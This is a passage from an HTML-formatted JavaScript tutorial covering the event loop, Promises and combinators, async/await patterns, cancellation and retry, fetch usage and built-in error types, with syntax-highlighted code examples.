&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;5&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// 1, 5, 3, 4, 2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;In Node.js, &lt;code&gt;process.nextTick&lt;/code&gt; runs even before Promise microtasks.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Promises
&lt;/h3&gt;

&lt;p&gt;A Promise is a value that arrives later. States: &lt;strong&gt;pending, fulfilled, rejected&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;hideSpinner&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Combinator&lt;/th&gt;
&lt;th&gt;Resolves when&lt;/th&gt;
&lt;th&gt;Rejects when&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Promise.all([...])&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;All fulfilled (array of results)&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Any&lt;/strong&gt; rejects (fail fast)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Promise.allSettled([...])&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;All settled (&lt;code&gt;{status, value/reason}&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Never&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Promise.race([...])&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;First settles&lt;/td&gt;
&lt;td&gt;First rejection if it is first&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Promise.any([...])&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;First &lt;strong&gt;fulfills&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;All reject (&lt;code&gt;AggregateError&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;promise&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reject&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;withResolvers&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;   &lt;span class="c1"&gt;// ES2024&lt;/span&gt;
&lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;maybeSyncOrAsync&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;   &lt;span class="c1"&gt;// ES2025: sync throws become rejections, result is always a Promise&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  async / await
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;loadUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/api/users/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AbortSignal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`HTTP &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// fetch does NOT reject on 404 or 500&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Load failed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;hideSpinner&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;An &lt;code&gt;async&lt;/code&gt; function &lt;strong&gt;always returns a Promise&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;await&lt;/code&gt; only pauses that function, not the whole program.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Sequential vs parallel (huge performance difference)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;getA&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;getB&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                        &lt;span class="c1"&gt;// waits for A first (slow)&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nf"&gt;getA&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nf"&gt;getB&lt;/span&gt;&lt;span class="p"&gt;()]);&lt;/span&gt;   &lt;span class="c1"&gt;// both start together (fast)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Common async mistakes
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;     &lt;span class="c1"&gt;// forEach does NOT wait&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;       &lt;span class="c1"&gt;// correct, parallel&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;             &lt;span class="c1"&gt;// correct, one by one&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Cancel, timeout, retry
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AbortController&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;signal&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                                     &lt;span class="c1"&gt;// cancels the request&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sleep&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;retry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;tries&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;tries&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;tries&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Async iteration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;await &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;chunk&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;                    &lt;span class="c1"&gt;// consume async iterables&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;all&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromAsync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;asyncGenerator&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;     &lt;span class="c1"&gt;// ES2026: collect an async iterable into an array&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  fetch cheat
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/items&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Pen&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`HTTP &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  16. Error handling
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{ bad json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// SyntaxError ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                              &lt;span class="c1"&gt;// always runs&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Built-in error&lt;/th&gt;
&lt;th&gt;Typical cause&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TypeError&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Wrong type, &lt;code&gt;undefined.x&lt;/code&gt;, calling a non-function&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ReferenceError&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Variable does not exist (or TDZ)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SyntaxError&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Bad syntax or bad JSON&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RangeError&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Value out of range, infinite recursion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AggregateError&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Many errors at once (&lt;code&gt;Promise.any&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Custom errors and &lt;code&gt;cause&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ValidationError&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;field&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
